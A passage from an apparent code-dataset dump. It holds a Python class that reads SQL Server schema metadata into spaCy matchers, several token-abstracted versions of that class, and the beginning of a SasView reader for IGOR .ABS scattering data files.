my_list)\nprint('Delete last 4 elements, del my_list[-4:]: ')\ndel my_list[-4:]\nprint('my_list is: ', my_list)\n",
"<assignment token>\n<code token>\n<assignment token>\n<code token>\n"
] | false |
9,936 |
76ebab93441676f9f00b2c2d63435e72c2d5d1ba
|
import pyodbc
from configuration.config import Configuration
from models.entities import Entities
from models.columns import Columns
from models.relationships import Relationship
from models.synonyms import Synonyms
from spacy.lemmatizer import Lemmatizer
from spacy.lookups import Lookups
class DBModel(object):
def __init__(self):
self.entities = []
self.columns = []
self.relationships = []
self.synonyms_col = []
self.synonyms_tab = []
self.entity_graph = []
self.loaded_entities = []
self.config = Configuration()
self.conn = pyodbc.connect(self.config.get_sql_connection_string())
lookups = Lookups()
self.lemmatizer = Lemmatizer(lookups)
self.load_db_model()
def load_db_model(self):
# loading the database from sql server
cursor = self.conn.cursor()
cursor.execute(self.config.get_tables_sql_query())
for row in cursor:
self.entities.append(Entities(row.table_name, self.config.get_default_column(row.table_name)))
cursor.execute(self.config.get_columns_sql_query())
current_entity = None
current_entity_name = ""
for row in cursor:
if current_entity_name != row.table_name:
current_entity_name = row.table_name
current_entity = next(en for en in self.entities if en.name == current_entity_name)
col_type = row.type_name
if col_type == "varchar" or col_type == "nvarchar":
col_type = "string"
current_entity.columns.append(Columns(row.column_name, col_type))
current_entity = None
current_entity_name = ""
cursor.execute(self.config.get_FK_sql_query())
for row in cursor:
self.relationships.append(Relationship(row.parent_table, row.refrenced_table, row.parent_table_col, row.referenced_table_col))
if len([en for en in self.entity_graph if en[0] == row.parent_table]) > 0:
current_entity = next(en for en in self.entity_graph if en[0] == row.parent_table)
current_entity[1].append(row.refrenced_table)
else:
self.entity_graph.append((row.parent_table, [row.refrenced_table]))
if len([en for en in self.entity_graph if en[0] == row.refrenced_table]) > 0:
current_entity = next(en for en in self.entity_graph if en[0] == row.refrenced_table)
current_entity[1].append(row.parent_table)
else:
self.entity_graph.append((row.refrenced_table, [row.parent_table]))
current_entity = None
current_entity_name = ""
cursor.execute(self.config.get_PK_sql_query())
for row in cursor:
if len([en for en in self.entity_graph if en[0] == row.table_name]) == 1:
current_entity = next(en for en in self.entities if en.name == row.table_name)
current_entity.primaryKey = row.primary_key
for entity_to_load in self.config.get_entitites_to_load():
entity_load_query = "select distinct " + entity_to_load["column"] + " from " + entity_to_load["entity"]
cursor.execute(entity_load_query)
entity_data = (entity_to_load["entity"], [])
for row in cursor:
entity_data[1].append(row[0])
# add lemma strings
lemmas = self.lemmatizer(str(row[0]), u'NOUN')
for lemma in lemmas:
entity_data[1].append(str(lemma))
self.loaded_entities.append(entity_data)
# load synonyms from declarative file
# table sysnonyms
for table_synonym in self.config.get_synonyms()["table"]:
orginal_val = table_synonym["original"]
synonyms_vals = table_synonym["synonyms"]
for synonyms_val in synonyms_vals:
self.synonyms_tab.append(Synonyms(orginal_val, synonyms_val))
# column sysnonyms
for column_synonym in self.config.get_synonyms()["column"]:
orginal_val = column_synonym["original"]
synonyms_vals = column_synonym["synonyms"]
for synonyms_val in synonyms_vals:
self.synonyms_col.append(Synonyms(orginal_val, synonyms_val))
# make a single array
self.columns = [column for entity in self.entities for column in entity.columns]
# might have to write a custom matcher TODO
# build the matcher based upon the original value and domain synonyms defined
def get_matcher(self, matcher, nlp):
for entity in self.entities:
matcher.add(entity.name.upper() + "_TABLE", None, nlp(entity.name.lower()))
for column in entity.columns:
matcher.add(column.name.upper() + "_COLUMN", None, nlp(column.name.lower()))
# add table synonyms to matcher
for synonym in self.synonyms_tab:
for entity in self.entities:
if synonym.column.lower() == entity.name.lower():
matcher.add(entity.name.upper() + "_TABLE", None, nlp(synonym.synonym.lower()))
# add column synonyms to matcher
for synonym in self.synonyms_col:
for column in self.columns:
if synonym.column.lower() == column.name.lower():
matcher.add(column.name.upper() + "_COLUMN", None, nlp(synonym.synonym.lower()))
return matcher
def get_custom_matcher(self, matcher, nlp):
for entity in self.entities:
matcher.add(entity.name.upper() + "_TABLE", nlp(entity.name.lower()))
for column in entity.columns:
matcher.add(column.name.upper() + "_COLUMN", nlp(column.name.lower()))
# add table synonyms to matcher
for synonym in self.synonyms_tab:
for entity in self.entities:
if synonym.column.lower() == entity.name.lower():
matcher.add(entity.name.upper() + "_TABLE", nlp(synonym.synonym.lower()))
# add column synonyms to matcher
for synonym in self.synonyms_col:
for column in self.columns:
if synonym.column.lower() == column.name.lower():
matcher.add(column.name.upper() + "_COLUMN", nlp(synonym.synonym.lower()))
return matcher
|
[
"import pyodbc\n\nfrom configuration.config import Configuration\nfrom models.entities import Entities\nfrom models.columns import Columns\nfrom models.relationships import Relationship\nfrom models.synonyms import Synonyms\n\nfrom spacy.lemmatizer import Lemmatizer\nfrom spacy.lookups import Lookups\n\n\nclass DBModel(object):\n def __init__(self):\n self.entities = []\n self.columns = []\n self.relationships = []\n self.synonyms_col = []\n self.synonyms_tab = []\n self.entity_graph = []\n self.loaded_entities = []\n self.config = Configuration()\n self.conn = pyodbc.connect(self.config.get_sql_connection_string())\n lookups = Lookups()\n self.lemmatizer = Lemmatizer(lookups)\n self.load_db_model()\n\n def load_db_model(self):\n # loading the database from sql server\n cursor = self.conn.cursor()\n cursor.execute(self.config.get_tables_sql_query())\n for row in cursor:\n self.entities.append(Entities(row.table_name, self.config.get_default_column(row.table_name)))\n\n cursor.execute(self.config.get_columns_sql_query())\n current_entity = None\n current_entity_name = \"\"\n for row in cursor:\n if current_entity_name != row.table_name:\n current_entity_name = row.table_name\n current_entity = next(en for en in self.entities if en.name == current_entity_name)\n\n col_type = row.type_name\n if col_type == \"varchar\" or col_type == \"nvarchar\":\n col_type = \"string\"\n current_entity.columns.append(Columns(row.column_name, col_type))\n\n current_entity = None\n current_entity_name = \"\"\n cursor.execute(self.config.get_FK_sql_query())\n for row in cursor:\n self.relationships.append(Relationship(row.parent_table, row.refrenced_table, row.parent_table_col, row.referenced_table_col))\n if len([en for en in self.entity_graph if en[0] == row.parent_table]) > 0:\n current_entity = next(en for en in self.entity_graph if en[0] == row.parent_table)\n current_entity[1].append(row.refrenced_table)\n else:\n self.entity_graph.append((row.parent_table, [row.refrenced_table]))\n \n if len([en for en in self.entity_graph if en[0] == row.refrenced_table]) > 0:\n current_entity = next(en for en in self.entity_graph if en[0] == row.refrenced_table)\n current_entity[1].append(row.parent_table)\n else:\n self.entity_graph.append((row.refrenced_table, [row.parent_table]))\n\n current_entity = None\n current_entity_name = \"\"\n cursor.execute(self.config.get_PK_sql_query())\n for row in cursor:\n if len([en for en in self.entity_graph if en[0] == row.table_name]) == 1:\n current_entity = next(en for en in self.entities if en.name == row.table_name)\n current_entity.primaryKey = row.primary_key\n\n for entity_to_load in self.config.get_entitites_to_load():\n entity_load_query = \"select distinct \" + entity_to_load[\"column\"] + \" from \" + entity_to_load[\"entity\"]\n cursor.execute(entity_load_query)\n entity_data = (entity_to_load[\"entity\"], [])\n for row in cursor:\n entity_data[1].append(row[0])\n # add lemma strings\n lemmas = self.lemmatizer(str(row[0]), u'NOUN')\n for lemma in lemmas:\n entity_data[1].append(str(lemma))\n self.loaded_entities.append(entity_data)\n \n # load synonyms from declarative file\n # table sysnonyms\n for table_synonym in self.config.get_synonyms()[\"table\"]:\n orginal_val = table_synonym[\"original\"]\n synonyms_vals = table_synonym[\"synonyms\"]\n for synonyms_val in synonyms_vals:\n self.synonyms_tab.append(Synonyms(orginal_val, synonyms_val))\n\n # column sysnonyms\n for column_synonym in self.config.get_synonyms()[\"column\"]:\n orginal_val = column_synonym[\"original\"]\n synonyms_vals = column_synonym[\"synonyms\"]\n for synonyms_val in synonyms_vals:\n self.synonyms_col.append(Synonyms(orginal_val, synonyms_val))\n\n\n # make a single array\n self.columns = [column for entity in self.entities for column in entity.columns]\n \n\n # might have to write a custom matcher TODO\n # build the matcher based upon the original value and domain synonyms defined\n def get_matcher(self, matcher, nlp):\n for entity in self.entities:\n matcher.add(entity.name.upper() + \"_TABLE\", None, nlp(entity.name.lower())) \n for column in entity.columns:\n matcher.add(column.name.upper() + \"_COLUMN\", None, nlp(column.name.lower()))\n\n # add table synonyms to matcher\n for synonym in self.synonyms_tab:\n for entity in self.entities:\n if synonym.column.lower() == entity.name.lower():\n matcher.add(entity.name.upper() + \"_TABLE\", None, nlp(synonym.synonym.lower())) \n\n # add column synonyms to matcher\n for synonym in self.synonyms_col:\n for column in self.columns:\n if synonym.column.lower() == column.name.lower():\n matcher.add(column.name.upper() + \"_COLUMN\", None, nlp(synonym.synonym.lower())) \n \n\n return matcher\n\n def get_custom_matcher(self, matcher, nlp):\n for entity in self.entities:\n matcher.add(entity.name.upper() + \"_TABLE\", nlp(entity.name.lower())) \n for column in entity.columns:\n matcher.add(column.name.upper() + \"_COLUMN\", nlp(column.name.lower()))\n\n # add table synonyms to matcher\n for synonym in self.synonyms_tab:\n for entity in self.entities:\n if synonym.column.lower() == entity.name.lower():\n matcher.add(entity.name.upper() + \"_TABLE\", nlp(synonym.synonym.lower())) \n\n # add column synonyms to matcher\n for synonym in self.synonyms_col:\n for column in self.columns:\n if synonym.column.lower() == column.name.lower():\n matcher.add(column.name.upper() + \"_COLUMN\", nlp(synonym.synonym.lower())) \n \n\n return matcher\n",
"import pyodbc\nfrom configuration.config import Configuration\nfrom models.entities import Entities\nfrom models.columns import Columns\nfrom models.relationships import Relationship\nfrom models.synonyms import Synonyms\nfrom spacy.lemmatizer import Lemmatizer\nfrom spacy.lookups import Lookups\n\n\nclass DBModel(object):\n\n def __init__(self):\n self.entities = []\n self.columns = []\n self.relationships = []\n self.synonyms_col = []\n self.synonyms_tab = []\n self.entity_graph = []\n self.loaded_entities = []\n self.config = Configuration()\n self.conn = pyodbc.connect(self.config.get_sql_connection_string())\n lookups = Lookups()\n self.lemmatizer = Lemmatizer(lookups)\n self.load_db_model()\n\n def load_db_model(self):\n cursor = self.conn.cursor()\n cursor.execute(self.config.get_tables_sql_query())\n for row in cursor:\n self.entities.append(Entities(row.table_name, self.config.\n get_default_column(row.table_name)))\n cursor.execute(self.config.get_columns_sql_query())\n current_entity = None\n current_entity_name = ''\n for row in cursor:\n if current_entity_name != row.table_name:\n current_entity_name = row.table_name\n current_entity = next(en for en in self.entities if en.name ==\n current_entity_name)\n col_type = row.type_name\n if col_type == 'varchar' or col_type == 'nvarchar':\n col_type = 'string'\n current_entity.columns.append(Columns(row.column_name, col_type))\n current_entity = None\n current_entity_name = ''\n cursor.execute(self.config.get_FK_sql_query())\n for row in cursor:\n self.relationships.append(Relationship(row.parent_table, row.\n refrenced_table, row.parent_table_col, row.\n referenced_table_col))\n if len([en for en in self.entity_graph if en[0] == row.\n parent_table]) > 0:\n current_entity = next(en for en in self.entity_graph if en[\n 0] == row.parent_table)\n current_entity[1].append(row.refrenced_table)\n else:\n self.entity_graph.append((row.parent_table, [row.\n refrenced_table]))\n if len([en for en in self.entity_graph if en[0] == row.\n refrenced_table]) > 0:\n current_entity = next(en for en in self.entity_graph if en[\n 0] == row.refrenced_table)\n current_entity[1].append(row.parent_table)\n else:\n self.entity_graph.append((row.refrenced_table, [row.\n parent_table]))\n current_entity = None\n current_entity_name = ''\n cursor.execute(self.config.get_PK_sql_query())\n for row in cursor:\n if len([en for en in self.entity_graph if en[0] == row.table_name]\n ) == 1:\n current_entity = next(en for en in self.entities if en.name ==\n row.table_name)\n current_entity.primaryKey = row.primary_key\n for entity_to_load in self.config.get_entitites_to_load():\n entity_load_query = 'select distinct ' + entity_to_load['column'\n ] + ' from ' + entity_to_load['entity']\n cursor.execute(entity_load_query)\n entity_data = entity_to_load['entity'], []\n for row in cursor:\n entity_data[1].append(row[0])\n lemmas = self.lemmatizer(str(row[0]), u'NOUN')\n for lemma in lemmas:\n entity_data[1].append(str(lemma))\n self.loaded_entities.append(entity_data)\n for table_synonym in self.config.get_synonyms()['table']:\n orginal_val = table_synonym['original']\n synonyms_vals = table_synonym['synonyms']\n for synonyms_val in synonyms_vals:\n self.synonyms_tab.append(Synonyms(orginal_val, synonyms_val))\n for column_synonym in self.config.get_synonyms()['column']:\n orginal_val = column_synonym['original']\n synonyms_vals = column_synonym['synonyms']\n for synonyms_val in synonyms_vals:\n self.synonyms_col.append(Synonyms(orginal_val, synonyms_val))\n self.columns = [column for entity in self.entities for column in\n entity.columns]\n\n def get_matcher(self, matcher, nlp):\n for entity in self.entities:\n matcher.add(entity.name.upper() + '_TABLE', None, nlp(entity.\n name.lower()))\n for column in entity.columns:\n matcher.add(column.name.upper() + '_COLUMN', None, nlp(\n column.name.lower()))\n for synonym in self.synonyms_tab:\n for entity in self.entities:\n if synonym.column.lower() == entity.name.lower():\n matcher.add(entity.name.upper() + '_TABLE', None, nlp(\n synonym.synonym.lower()))\n for synonym in self.synonyms_col:\n for column in self.columns:\n if synonym.column.lower() == column.name.lower():\n matcher.add(column.name.upper() + '_COLUMN', None, nlp(\n synonym.synonym.lower()))\n return matcher\n\n def get_custom_matcher(self, matcher, nlp):\n for entity in self.entities:\n matcher.add(entity.name.upper() + '_TABLE', nlp(entity.name.\n lower()))\n for column in entity.columns:\n matcher.add(column.name.upper() + '_COLUMN', nlp(column.\n name.lower()))\n for synonym in self.synonyms_tab:\n for entity in self.entities:\n if synonym.column.lower() == entity.name.lower():\n matcher.add(entity.name.upper() + '_TABLE', nlp(synonym\n .synonym.lower()))\n for synonym in self.synonyms_col:\n for column in self.columns:\n if synonym.column.lower() == column.name.lower():\n matcher.add(column.name.upper() + '_COLUMN', nlp(\n synonym.synonym.lower()))\n return matcher\n",
"<import token>\n\n\nclass DBModel(object):\n\n def __init__(self):\n self.entities = []\n self.columns = []\n self.relationships = []\n self.synonyms_col = []\n self.synonyms_tab = []\n self.entity_graph = []\n self.loaded_entities = []\n self.config = Configuration()\n self.conn = pyodbc.connect(self.config.get_sql_connection_string())\n lookups = Lookups()\n self.lemmatizer = Lemmatizer(lookups)\n self.load_db_model()\n\n def load_db_model(self):\n cursor = self.conn.cursor()\n cursor.execute(self.config.get_tables_sql_query())\n for row in cursor:\n self.entities.append(Entities(row.table_name, self.config.\n get_default_column(row.table_name)))\n cursor.execute(self.config.get_columns_sql_query())\n current_entity = None\n current_entity_name = ''\n for row in cursor:\n if current_entity_name != row.table_name:\n current_entity_name = row.table_name\n current_entity = next(en for en in self.entities if en.name ==\n current_entity_name)\n col_type = row.type_name\n if col_type == 'varchar' or col_type == 'nvarchar':\n col_type = 'string'\n current_entity.columns.append(Columns(row.column_name, col_type))\n current_entity = None\n current_entity_name = ''\n cursor.execute(self.config.get_FK_sql_query())\n for row in cursor:\n self.relationships.append(Relationship(row.parent_table, row.\n refrenced_table, row.parent_table_col, row.\n referenced_table_col))\n if len([en for en in self.entity_graph if en[0] == row.\n parent_table]) > 0:\n current_entity = next(en for en in self.entity_graph if en[\n 0] == row.parent_table)\n current_entity[1].append(row.refrenced_table)\n else:\n self.entity_graph.append((row.parent_table, [row.\n refrenced_table]))\n if len([en for en in self.entity_graph if en[0] == row.\n refrenced_table]) > 0:\n current_entity = next(en for en in self.entity_graph if en[\n 0] == row.refrenced_table)\n current_entity[1].append(row.parent_table)\n else:\n self.entity_graph.append((row.refrenced_table, [row.\n parent_table]))\n current_entity = None\n current_entity_name = ''\n cursor.execute(self.config.get_PK_sql_query())\n for row in cursor:\n if len([en for en in self.entity_graph if en[0] == row.table_name]\n ) == 1:\n current_entity = next(en for en in self.entities if en.name ==\n row.table_name)\n current_entity.primaryKey = row.primary_key\n for entity_to_load in self.config.get_entitites_to_load():\n entity_load_query = 'select distinct ' + entity_to_load['column'\n ] + ' from ' + entity_to_load['entity']\n cursor.execute(entity_load_query)\n entity_data = entity_to_load['entity'], []\n for row in cursor:\n entity_data[1].append(row[0])\n lemmas = self.lemmatizer(str(row[0]), u'NOUN')\n for lemma in lemmas:\n entity_data[1].append(str(lemma))\n self.loaded_entities.append(entity_data)\n for table_synonym in self.config.get_synonyms()['table']:\n orginal_val = table_synonym['original']\n synonyms_vals = table_synonym['synonyms']\n for synonyms_val in synonyms_vals:\n self.synonyms_tab.append(Synonyms(orginal_val, synonyms_val))\n for column_synonym in self.config.get_synonyms()['column']:\n orginal_val = column_synonym['original']\n synonyms_vals = column_synonym['synonyms']\n for synonyms_val in synonyms_vals:\n self.synonyms_col.append(Synonyms(orginal_val, synonyms_val))\n self.columns = [column for entity in self.entities for column in\n entity.columns]\n\n def get_matcher(self, matcher, nlp):\n for entity in self.entities:\n matcher.add(entity.name.upper() + '_TABLE', None, nlp(entity.\n name.lower()))\n for column in entity.columns:\n matcher.add(column.name.upper() + '_COLUMN', None, nlp(\n column.name.lower()))\n for synonym in self.synonyms_tab:\n for entity in self.entities:\n if synonym.column.lower() == entity.name.lower():\n matcher.add(entity.name.upper() + '_TABLE', None, nlp(\n synonym.synonym.lower()))\n for synonym in self.synonyms_col:\n for column in self.columns:\n if synonym.column.lower() == column.name.lower():\n matcher.add(column.name.upper() + '_COLUMN', None, nlp(\n synonym.synonym.lower()))\n return matcher\n\n def get_custom_matcher(self, matcher, nlp):\n for entity in self.entities:\n matcher.add(entity.name.upper() + '_TABLE', nlp(entity.name.\n lower()))\n for column in entity.columns:\n matcher.add(column.name.upper() + '_COLUMN', nlp(column.\n name.lower()))\n for synonym in self.synonyms_tab:\n for entity in self.entities:\n if synonym.column.lower() == entity.name.lower():\n matcher.add(entity.name.upper() + '_TABLE', nlp(synonym\n .synonym.lower()))\n for synonym in self.synonyms_col:\n for column in self.columns:\n if synonym.column.lower() == column.name.lower():\n matcher.add(column.name.upper() + '_COLUMN', nlp(\n synonym.synonym.lower()))\n return matcher\n",
"<import token>\n\n\nclass DBModel(object):\n <function token>\n\n def load_db_model(self):\n cursor = self.conn.cursor()\n cursor.execute(self.config.get_tables_sql_query())\n for row in cursor:\n self.entities.append(Entities(row.table_name, self.config.\n get_default_column(row.table_name)))\n cursor.execute(self.config.get_columns_sql_query())\n current_entity = None\n current_entity_name = ''\n for row in cursor:\n if current_entity_name != row.table_name:\n current_entity_name = row.table_name\n current_entity = next(en for en in self.entities if en.name ==\n current_entity_name)\n col_type = row.type_name\n if col_type == 'varchar' or col_type == 'nvarchar':\n col_type = 'string'\n current_entity.columns.append(Columns(row.column_name, col_type))\n current_entity = None\n current_entity_name = ''\n cursor.execute(self.config.get_FK_sql_query())\n for row in cursor:\n self.relationships.append(Relationship(row.parent_table, row.\n refrenced_table, row.parent_table_col, row.\n referenced_table_col))\n if len([en for en in self.entity_graph if en[0] == row.\n parent_table]) > 0:\n current_entity = next(en for en in self.entity_graph if en[\n 0] == row.parent_table)\n current_entity[1].append(row.refrenced_table)\n else:\n self.entity_graph.append((row.parent_table, [row.\n refrenced_table]))\n if len([en for en in self.entity_graph if en[0] == row.\n refrenced_table]) > 0:\n current_entity = next(en for en in self.entity_graph if en[\n 0] == row.refrenced_table)\n current_entity[1].append(row.parent_table)\n else:\n self.entity_graph.append((row.refrenced_table, [row.\n parent_table]))\n current_entity = None\n current_entity_name = ''\n cursor.execute(self.config.get_PK_sql_query())\n for row in cursor:\n if len([en for en in self.entity_graph if en[0] == row.table_name]\n ) == 1:\n current_entity = next(en for en in self.entities if en.name ==\n row.table_name)\n current_entity.primaryKey = row.primary_key\n for entity_to_load in self.config.get_entitites_to_load():\n entity_load_query = 'select distinct ' + entity_to_load['column'\n ] + ' from ' + entity_to_load['entity']\n cursor.execute(entity_load_query)\n entity_data = entity_to_load['entity'], []\n for row in cursor:\n entity_data[1].append(row[0])\n lemmas = self.lemmatizer(str(row[0]), u'NOUN')\n for lemma in lemmas:\n entity_data[1].append(str(lemma))\n self.loaded_entities.append(entity_data)\n for table_synonym in self.config.get_synonyms()['table']:\n orginal_val = table_synonym['original']\n synonyms_vals = table_synonym['synonyms']\n for synonyms_val in synonyms_vals:\n self.synonyms_tab.append(Synonyms(orginal_val, synonyms_val))\n for column_synonym in self.config.get_synonyms()['column']:\n orginal_val = column_synonym['original']\n synonyms_vals = column_synonym['synonyms']\n for synonyms_val in synonyms_vals:\n self.synonyms_col.append(Synonyms(orginal_val, synonyms_val))\n self.columns = [column for entity in self.entities for column in\n entity.columns]\n\n def get_matcher(self, matcher, nlp):\n for entity in self.entities:\n matcher.add(entity.name.upper() + '_TABLE', None, nlp(entity.\n name.lower()))\n for column in entity.columns:\n matcher.add(column.name.upper() + '_COLUMN', None, nlp(\n column.name.lower()))\n for synonym in self.synonyms_tab:\n for entity in self.entities:\n if synonym.column.lower() == entity.name.lower():\n matcher.add(entity.name.upper() + '_TABLE', None, nlp(\n synonym.synonym.lower()))\n for synonym in self.synonyms_col:\n for column in self.columns:\n if synonym.column.lower() == column.name.lower():\n matcher.add(column.name.upper() + '_COLUMN', None, nlp(\n synonym.synonym.lower()))\n return matcher\n\n def get_custom_matcher(self, matcher, nlp):\n for entity in self.entities:\n matcher.add(entity.name.upper() + '_TABLE', nlp(entity.name.\n lower()))\n for column in entity.columns:\n matcher.add(column.name.upper() + '_COLUMN', nlp(column.\n name.lower()))\n for synonym in self.synonyms_tab:\n for entity in self.entities:\n if synonym.column.lower() == entity.name.lower():\n matcher.add(entity.name.upper() + '_TABLE', nlp(synonym\n .synonym.lower()))\n for synonym in self.synonyms_col:\n for column in self.columns:\n if synonym.column.lower() == column.name.lower():\n matcher.add(column.name.upper() + '_COLUMN', nlp(\n synonym.synonym.lower()))\n return matcher\n",
"<import token>\n\n\nclass DBModel(object):\n <function token>\n\n def load_db_model(self):\n cursor = self.conn.cursor()\n cursor.execute(self.config.get_tables_sql_query())\n for row in cursor:\n self.entities.append(Entities(row.table_name, self.config.\n get_default_column(row.table_name)))\n cursor.execute(self.config.get_columns_sql_query())\n current_entity = None\n current_entity_name = ''\n for row in cursor:\n if current_entity_name != row.table_name:\n current_entity_name = row.table_name\n current_entity = next(en for en in self.entities if en.name ==\n current_entity_name)\n col_type = row.type_name\n if col_type == 'varchar' or col_type == 'nvarchar':\n col_type = 'string'\n current_entity.columns.append(Columns(row.column_name, col_type))\n current_entity = None\n current_entity_name = ''\n cursor.execute(self.config.get_FK_sql_query())\n for row in cursor:\n self.relationships.append(Relationship(row.parent_table, row.\n refrenced_table, row.parent_table_col, row.\n referenced_table_col))\n if len([en for en in self.entity_graph if en[0] == row.\n parent_table]) > 0:\n current_entity = next(en for en in self.entity_graph if en[\n 0] == row.parent_table)\n current_entity[1].append(row.refrenced_table)\n else:\n self.entity_graph.append((row.parent_table, [row.\n refrenced_table]))\n if len([en for en in self.entity_graph if en[0] == row.\n refrenced_table]) > 0:\n current_entity = next(en for en in self.entity_graph if en[\n 0] == row.refrenced_table)\n current_entity[1].append(row.parent_table)\n else:\n self.entity_graph.append((row.refrenced_table, [row.\n parent_table]))\n current_entity = None\n current_entity_name = ''\n cursor.execute(self.config.get_PK_sql_query())\n for row in cursor:\n if len([en for en in self.entity_graph if en[0] == row.table_name]\n ) == 1:\n current_entity = next(en for en in self.entities if en.name ==\n row.table_name)\n current_entity.primaryKey = row.primary_key\n for entity_to_load in self.config.get_entitites_to_load():\n entity_load_query = 'select distinct ' + entity_to_load['column'\n ] + ' from ' + entity_to_load['entity']\n cursor.execute(entity_load_query)\n entity_data = entity_to_load['entity'], []\n for row in cursor:\n entity_data[1].append(row[0])\n lemmas = self.lemmatizer(str(row[0]), u'NOUN')\n for lemma in lemmas:\n entity_data[1].append(str(lemma))\n self.loaded_entities.append(entity_data)\n for table_synonym in self.config.get_synonyms()['table']:\n orginal_val = table_synonym['original']\n synonyms_vals = table_synonym['synonyms']\n for synonyms_val in synonyms_vals:\n self.synonyms_tab.append(Synonyms(orginal_val, synonyms_val))\n for column_synonym in self.config.get_synonyms()['column']:\n orginal_val = column_synonym['original']\n synonyms_vals = column_synonym['synonyms']\n for synonyms_val in synonyms_vals:\n self.synonyms_col.append(Synonyms(orginal_val, synonyms_val))\n self.columns = [column for entity in self.entities for column in\n entity.columns]\n\n def get_matcher(self, matcher, nlp):\n for entity in self.entities:\n matcher.add(entity.name.upper() + '_TABLE', None, nlp(entity.\n name.lower()))\n for column in entity.columns:\n matcher.add(column.name.upper() + '_COLUMN', None, nlp(\n column.name.lower()))\n for synonym in self.synonyms_tab:\n for entity in self.entities:\n if synonym.column.lower() == entity.name.lower():\n matcher.add(entity.name.upper() + '_TABLE', None, nlp(\n synonym.synonym.lower()))\n for synonym in self.synonyms_col:\n for column in self.columns:\n if synonym.column.lower() == column.name.lower():\n matcher.add(column.name.upper() + '_COLUMN', None, nlp(\n synonym.synonym.lower()))\n return matcher\n <function token>\n",
"<import token>\n\n\nclass DBModel(object):\n <function token>\n <function token>\n\n def get_matcher(self, matcher, nlp):\n for entity in self.entities:\n matcher.add(entity.name.upper() + '_TABLE', None, nlp(entity.\n name.lower()))\n for column in entity.columns:\n matcher.add(column.name.upper() + '_COLUMN', None, nlp(\n column.name.lower()))\n for synonym in self.synonyms_tab:\n for entity in self.entities:\n if synonym.column.lower() == entity.name.lower():\n matcher.add(entity.name.upper() + '_TABLE', None, nlp(\n synonym.synonym.lower()))\n for synonym in self.synonyms_col:\n for column in self.columns:\n if synonym.column.lower() == column.name.lower():\n matcher.add(column.name.upper() + '_COLUMN', None, nlp(\n synonym.synonym.lower()))\n return matcher\n <function token>\n",
"<import token>\n\n\nclass DBModel(object):\n <function token>\n <function token>\n <function token>\n <function token>\n",
"<import token>\n<class token>\n"
] | false |
9,937 |
3cdb39e201983e672f6c22c25492a120be3d0d48
|
"""
"""
#####################################################################
#This software was developed by the University of Tennessee as part of the
#Distributed Data Analysis of Neutron Scattering Experiments (DANSE)
#project funded by the US National Science Foundation.
#See the license text in license.txt
#copyright 2008, University of Tennessee
######################################################################
import numpy as np
import os
from sas.sascalc.dataloader.data_info import Data1D
from sas.sascalc.dataloader.data_info import Detector
has_converter = True
try:
from sas.sascalc.data_util.nxsunit import Converter
except:
has_converter = False
class Reader:
"""
Class to load IGOR reduced .ABS files
"""
## File type
type_name = "IGOR 1D"
## Wildcards
type = ["IGOR 1D files (*.abs)|*.abs"]
## List of allowed extensions
ext = ['.abs', '.ABS']
def read(self, path):
"""
Load data file.
:param path: file path
:return: Data1D object, or None
:raise RuntimeError: when the file can't be opened
:raise ValueError: when the length of the data vectors are inconsistent
"""
if os.path.isfile(path):
basename = os.path.basename(path)
root, extension = os.path.splitext(basename)
if extension.lower() in self.ext:
try:
input_f = open(path,'r')
except:
raise RuntimeError, "abs_reader: cannot open %s" % path
buff = input_f.read()
lines = buff.split('\n')
x = np.zeros(0)
y = np.zeros(0)
dy = np.zeros(0)
dx = np.zeros(0)
output = Data1D(x, y, dy=dy, dx=dx)
detector = Detector()
output.detector.append(detector)
output.filename = basename
is_info = False
is_center = False
is_data_started = False
data_conv_q = None
data_conv_i = None
if has_converter == True and output.x_unit != '1/A':
data_conv_q = Converter('1/A')
# Test it
data_conv_q(1.0, output.x_unit)
if has_converter == True and output.y_unit != '1/cm':
data_conv_i = Converter('1/cm')
# Test it
data_conv_i(1.0, output.y_unit)
for line in lines:
# Information line 1
if is_info == True:
is_info = False
line_toks = line.split()
# Wavelength in Angstrom
try:
value = float(line_toks[1])
if has_converter == True and \
output.source.wavelength_unit != 'A':
conv = Converter('A')
output.source.wavelength = conv(value,
units=output.source.wavelength_unit)
else:
output.source.wavelength = value
except:
#goes to ASC reader
msg = "abs_reader: cannot open %s" % path
raise RuntimeError, msg
# Distance in meters
try:
value = float(line_toks[3])
if has_converter == True and \
detector.distance_unit != 'm':
conv = Converter('m')
detector.distance = conv(value,
units=detector.distance_unit)
else:
detector.distance = value
except:
#goes to ASC reader
msg = "abs_reader: cannot open %s" % path
raise RuntimeError, msg
# Transmission
try:
output.sample.transmission = float(line_toks[4])
except:
# Transmission is not a mandatory entry
pass
# Thickness in mm
try:
value = float(line_toks[5])
if has_converter == True and \
output.sample.thickness_unit != 'cm':
conv = Converter('cm')
output.sample.thickness = conv(value,
units=output.sample.thickness_unit)
else:
output.sample.thickness = value
except:
# Thickness is not a mandatory entry
pass
#MON CNT LAMBDA DET ANG DET DIST TRANS THICK
# AVE STEP
if line.count("LAMBDA") > 0:
is_info = True
# Find center info line
if is_center == True:
is_center = False
line_toks = line.split()
# Center in bin number
center_x = float(line_toks[0])
center_y = float(line_toks[1])
# Bin size
if has_converter == True and \
detector.pixel_size_unit != 'mm':
conv = Converter('mm')
detector.pixel_size.x = conv(5.0,
units=detector.pixel_size_unit)
detector.pixel_size.y = conv(5.0,
units=detector.pixel_size_unit)
else:
detector.pixel_size.x = 5.0
detector.pixel_size.y = 5.0
# Store beam center in distance units
# Det 640 x 640 mm
if has_converter == True and \
detector.beam_center_unit != 'mm':
conv = Converter('mm')
detector.beam_center.x = conv(center_x * 5.0,
units=detector.beam_center_unit)
detector.beam_center.y = conv(center_y * 5.0,
units=detector.beam_center_unit)
else:
detector.beam_center.x = center_x * 5.0
detector.beam_center.y = center_y * 5.0
# Detector type
try:
detector.name = line_toks[7]
except:
# Detector name is not a mandatory entry
pass
#BCENT(X,Y) A1(mm) A2(mm) A1A2DIST(m) DL/L
# BSTOP(mm) DET_TYP
if line.count("BCENT") > 0:
is_center = True
# Parse the data
if is_data_started == True:
toks = line.split()
try:
_x = float(toks[0])
_y = float(toks[1])
_dy = float(toks[2])
_dx = float(toks[3])
if data_conv_q is not None:
_x = data_conv_q(_x, units=output.x_unit)
_dx = data_conv_i(_dx, units=output.x_unit)
if data_conv_i is not None:
_y = data_conv_i(_y, units=output.y_unit)
_dy = data_conv_i(_dy, units=output.y_unit)
x = np.append(x, _x)
y = np.append(y, _y)
dy = np.append(dy, _dy)
dx = np.append(dx, _dx)
except:
# Could not read this data line. If we are here
# it is because we are in the data section. Just
# skip it.
pass
#The 6 columns are | Q (1/A) | I(Q) (1/cm) | std. dev.
